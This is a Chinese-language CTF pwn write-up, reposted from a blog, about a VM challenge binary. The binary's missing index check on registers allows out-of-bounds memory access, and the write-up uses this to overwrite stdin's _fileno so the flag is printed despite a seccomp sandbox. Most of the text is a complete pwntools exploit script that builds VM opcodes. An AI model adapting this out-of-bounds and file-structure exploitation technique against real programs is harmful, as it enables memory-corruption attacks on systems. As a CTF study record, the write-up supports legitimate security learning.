轉載於我的新博客:http://dayjun.top/
概覽
最開始它獲取了flag文件的文件描述符,並把它用dup2
映射到0x233,這樣我們就知道0x233是flag的文件描述符
然後定義了沙盒規則,不允許execve
和write
,且虛擬機本身只能輸入0x40道指令
漏洞點
它在處理指令的時候,有使用寄存器中的值作爲index來存取它定的內存區的數據的操作,但是它卻沒有對寄存器進行檢查
如果寄存器中是負數,那它就可以存取到內存區之外的數據,導致OOB
利用方法
- 讀取到
_IO_2_1_stdin_
的地址 - 將它加0x6c(即定位到它-4的位置)
- 將棧地址覆蓋成前兩步修改後的地址
- 用
push
操作把0x233寫到_IO_2_1_stdin_
的_fileno
- 最後的
scanf
後的printf
就會把flag打印出來
exp
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
rn = lambda x:io.recv(x)
ru = lambda x:io.recvuntil(x, drop=True)
r = lambda :io.recv()
it = lambda: io.interactive()
success = lambda x, y:log.success(x + ' '+ hex(y))
binary = './RHVM.bin'
io = process(binary)
o = {"give":0x40, "print":0x60, "sub":208, 'memb':0x42}
ops = []
def add(a, b, c):
ops.append((a << 16) + (b << 8) + c)
def moveBtoRA(a, b):
add(0x40, a, b)
def printS():
add(0x60, 0, 0)
def RAsubRB(a, b):
add(208, a, b)
def RARdengyuRBM(a, b):
add(0x42, a, b)
def RAMdengyuRBR(a, b):
add(0x41, a, b)
def RAmulRB(a, b):
add(0xc0, a, b)
def RAzuoyiRB(a, b):
add(224, a, b)
def RAaddRB(a, b):
add(160, a, b)
def pushRA(a):
add(0x70, 0, a)
moveBtoRA(0, 6)
moveBtoRA(1, 4)
RAaddRB(0, 1)
RAsubRB(2, 0)
moveBtoRA(3, 5)
RAmulRB(3, 1)
RAsubRB(4, 3)
RARdengyuRBM(5, 4)
moveBtoRA(5, 6)
RAzuoyiRB(5, 1)
moveBtoRA(7, 8)
RAaddRB(0, 5)
RAaddRB(0, 7)
RAaddRB(0, 1)
RAMdengyuRBR(2, 0)
moveBtoRA(3, 1)
RAaddRB(2, 3)
RAaddRB(4, 3)
RARdengyuRBM(6, 4)
RAMdengyuRBR(2, 0)
moveBtoRA(0, 2)
moveBtoRA(2, 3)
RAzuoyiRB(0, 1)
RAaddRB(0, 2)
RAzuoyiRB(0, 1)
RAaddRB(0, 2)
pushRA(0)
printS()
io = process(binary)
ru('EIP: ')
sl('0')
ru('ESP: ')
sl('0')
ru('Give me code length: ')
sl(str(len(ops)))
ru('Give me code: ')
for i in ops:
sl(str(i))
it()
總結
主要是利用方法對我來說比較新穎,特此記錄一下